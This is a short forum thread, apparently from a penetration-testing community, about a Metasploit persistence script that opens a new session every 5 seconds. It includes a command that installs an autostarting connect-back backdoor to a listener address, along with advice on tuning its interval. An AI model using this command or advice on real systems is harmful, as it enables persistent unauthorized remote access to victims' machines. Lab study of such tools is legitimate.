You can also take a look at this, it might be better: http://www.offensive-security.com/me...preter_Service
As for your problem I think you actually told it to create a session every 5 seconds.
Hey all!
I've just come across the metasploit persistence.rb script and thought it might come in handy. So I tested it out on a test machine by setting the script to run as an auto run script as soon as a session is created.
So I ran the payload on the machine but for some reason it just keeps looping, as in a session is created pretty much every 5 seconds.
This is both anoying and shouldnt happen.
Anybody know what I've been doing wrong?
In case it will help I've been doing this.
Code:set AutoRunScript persistence -X -i 5 -p 7777 -r 192.168.1.2
You can also take a look at this, it might be better: http://www.offensive-security.com/me...preter_Service
As for your problem I think you actually told it to create a session every 5 seconds.
Back|track giving machine guns to monkeys since 2007 !
Do not read the Wiki, most your questions will not be answered there !
Do not take a look at the: Forum Rules !
I actually followed that guide when playing around with persistence. I realize now that yes, I was telling it to connect back every 5 seconds. (-i 5).
Is there anyway to tell it "once connected, don't try to keep connecting until session has been disconnected"? I think it would make this script for functional (not to mentionsl usable).
Thanks in advance!
I've created this very same condition. Definitely has to do with the "connect-back" interval. If there is a handler listening, and it recieves the corresponding interval, the handler WILL send a stage, creating another session. Make your intervals longer and/or don't start the handler for the persistent connection until you need it. something like a 300-600 second interval might be better. As I recall the script will also tell you what PID the persistance script is running as on the victim machine, and if need be you can kill the persistance script once you have your session. (use the meterpreter or windows TASKKILL command in a shell)